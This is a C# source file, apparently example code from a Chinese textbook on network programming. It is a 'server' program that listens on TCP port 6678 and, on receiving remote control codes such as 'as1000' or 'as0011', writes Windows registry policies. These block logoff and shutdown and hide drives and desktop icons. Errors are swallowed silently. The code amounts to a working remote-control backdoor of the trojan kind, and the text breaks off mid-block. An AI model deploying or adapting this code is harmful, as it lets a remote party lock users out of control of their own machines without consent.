form1.cs

visual c# 网络编程技术与实践实例包括几个源码

using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using Microsoft.Win32;


namespace server
{
	//Form1的说明.Form1为后台控制程序.
	public class Form1 : System.Windows.Forms.Form
	{
		//必需的设计器变量。
		private System.ComponentModel.Container components = null;
		private TcpListener listener;
		private string messagestring="Hello,your regedit has been:";
		private RegistryKey reg=Registry.LocalMachine;
		private RegistryKey key1;

		public Form1()
		{
			InitializeComponent();
            {
                int port =6678;
                listener=new TcpListener(port);
                listener.Start();
                Thread thread=new Thread(new ThreadStart(target));
                thread.Start();
            }
		}
		//接受控制信息.
        public void target()
		{
            Socket socket= listener.AcceptSocket();
            while(socket.Connected)
			{
				byte[] by=new Byte[6];
				int i=socket.Receive(by,by.Length,0);
				string ss=System.Text.Encoding.ASCII.GetString(by);
				//修改注册表的操作,首先接收连接测试指令,反馈信息码提示连接成功.
				if(ss=="Tesing")
				{
					string str="con";
					byte[]  newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(newbyte,newbyte.Length,0);					
				}
				//接收到不同的修改注册表指令所进行的操作.
                //控制码为as1000,控制服务器无法注销机器.
                if(ss=="as1000")
				{				
					try
					{
						key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						key1.SetValue("NoLogOff",1);
						key1.Close();
						messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff被修改！请将它置为0！";
					}
					catch
                    {
                    }
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
							key2.SetValue("NoLogOff",1);
							key2.Close();
							messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff被修改！请将它置为0！";
						}
						catch
                        {
                        }
					}
					string str="ctr";
					byte[]  newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(newbyte,newbyte.Length,0);
                }
                //控制码为as0100,控制服务器无法关机.
				if(ss=="as0100")
				{
					try
					{
						key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);						
						key1.SetValue("NoClose",1);
						key1.Close();
						messagestring=messagestring+"LocalMachine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose被修改！请将它置为0！";
					}
					catch
                    {
                    }
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
                            key2.SetValue("NoClose",1);
							key2.Close();
							messagestring=messagestring+"LocalMachine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose被修改！请将它置为0！";
						}
						catch
                        {
                        }
					}
					string str="ctr";
					byte[]  newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(newbyte,newbyte.Length,0);
                }
				//控制码为as0010,隐藏服务器硬盘盘符.
				if(ss=="as0010")
				{
					try
					{
						key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
                        key1.SetValue("NoDrives",12);
						key1.Close();
						messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives被修改！请将它置为0";
					}
					catch
                    {
                    }
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");                           
							key2.SetValue("NoDrives",12);
							key2.Close();
							messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives被修改！请将它置为0";
						}
						catch
                        {
                        }
					}
					string str="ctr";
					byte[]  newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(newbyte,newbyte.Length,0);			
				}
				//控制码为as0001,隐藏服务器桌面图标.
				if(ss=="as0001")
				{					
					try
					{
						key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);						
						key1.SetValue("NoDesktop",1);
						key1.Close();
						messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDesktop被修改！请将它置为0";
					}
					catch
                    {
                    }
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");                           
							key2.SetValue("NoDesktop",1);
							key2.Close();
							messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDesktop被修改！请将它置为0";
						}
						catch
                        {
                        }
					}
					string str="ctr";
					byte[]  newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(newbyte,newbyte.Length,0);
				}
				//控制码为as1100,控制服务器无法关机及注销.
				if(ss=="as1100")
				{
					try
					{
						key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						key1.SetValue("NoLogOff",1);
						key1.SetValue("NoClose",1);
						key1.Close();
						messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose被修改！请将它置为0";
					}
					catch
                    {
                    }
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
							key2.SetValue("NoLogOff",1);
							key2.SetValue("NoClose",1);
							key2.Close();
							messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose被修改！请将它置为0";
						}
						catch
                        {
                        }
					}
					string str="ctr";
					byte[]  newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(newbyte,newbyte.Length,0);
				}				
				//控制码为as1010,控制服务器无法注销且隐藏硬盘盘符.
				if(ss=="as1010")
				{
					try
					{
						key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						key1.SetValue("NoLogOff",1);
						key1.SetValue("NoDrives",12);
						key1.Close();
						messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDrives被修改！请将它置为0";
					}
					catch
                    {
                    }
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
							key2.SetValue("NoLogOff",1);
							key2.SetValue("NoDrives",12);
							key2.Close();
							messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDrives被修改！请将它置为0";
						}
						catch
                        {
                        }
					}
					string str="ctr";
					byte[]  newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(newbyte,newbyte.Length,0);
				}
				//控制码为as1001,控制服务器无法注销且隐藏桌面图标.
				if(ss=="as1001")
				{
					try
					{
						key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer",true);
						key1.SetValue("NoLogOff",1);
						key1.SetValue("NoDesktop",1);
						key1.Close();
						messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDesktop被修改！请将它置为0";
					}
					catch(Exception ee)
                    {
                        MessageBox.Show(ee.Message);
                    }
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
							key2.SetValue("NoLogOff",1);
							key2.SetValue("NoDesktop",1);
							key2.Close();
							messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDesktop被修改！请将它置为0";
						}
						catch
                        {
                        }
					}
					string str="ctr";
					byte[]  newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(newbyte,newbyte.Length,0);
				}
				//控制码为as0110,控制服务器无法关机且隐藏硬盘盘符.
				if(ss=="as0110")
				{
					try
					{
						key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
                        key1.SetValue("NoClose",1);
                        key1.SetValue("NoDrives",12);
						key1.Close();
						messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDrives被修改！请将它置为0";
					}
					catch
                    {
                    }
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
							key2.SetValue("NoClose",1);
                            key2.SetValue("NoDrives",12);
							key2.Close();
							messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDrives被修改！请将它置为0";
						}
						catch
                        {
                        }
					}
					string str="ctr";
					byte[]  newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(newbyte,newbyte.Length,0);
				}
				//控制码为as0101,控制服务器无法关机且隐藏桌面图标.
				if(ss=="as0101")
				{
					try
					{
						key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						key1.SetValue("NoClose",1);
						key1.SetValue("NoDesktop",1);
						key1.Close();
						messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDesktop被修改！请将它置为0";
					}
					catch
                    {
                    }
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
							key2.SetValue("NoClose",1);
							key2.SetValue("NoDesktop",1);
							key2.Close();
							messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、、NoDesktop被修改！请将它置为0";
						}
						catch{}
					}
					string str="ctr";
					byte[]  newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(newbyte,newbyte.Length,0);
				}
				//控制码为as0011,隐藏服务器硬盘盘符和桌面图标.
				if(ss=="as0011")
				{
					try
					{
						key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						key1.SetValue("NoDrives",12);
						key1.SetValue("NoDesktop",1);
						key1.Close();
						messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives、NoDesktop被修改！请将它置为0";
					}
					catch
                    {
                    }
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
							key2.SetValue("NoDrives",12);
							key2.SetValue("NoDesktop",1);
							key2.Close();
							messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives、NoDesktop被修改！请将它置为0";
						}
						catch
                        {
                        }
					}
					string str="ctr";
					byte[]  newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(newbyte,newbyte.Length,0);
				}
				//控制码as1110,控制服务器无法注销关节且隐藏硬盘盘符.
				if(ss=="as1110")
				{
                    try
					{
						key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						key1.SetValue("NoLogOff",1);
						key1.SetValue("NoClose",1);
						key1.SetValue("NoDrives",12);
						key1.Close();
						messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDrives被修改！请将它置为0";
					}
					catch
                    {
                    }
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
							key2.SetValue("NoLogOff",1);
							key2.SetValue("NoClose",1);
							key2.SetValue("NoDrives",12);
							key2.Close();
							messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDrives被修改！请将它置为0";
						}
						catch
                        {
                        }
					}
					string str="ctr";
					byte[]  newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(newbyte,newbyte.Length,0);			
				}
				//控制码为as1101,控制服务器无法注销关机且隐藏桌面图标.
				if(ss=="as1101")
				{
					try
					{
						key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						key1.SetValue("NoLogOff",1);
						key1.SetValue("NoClose",1);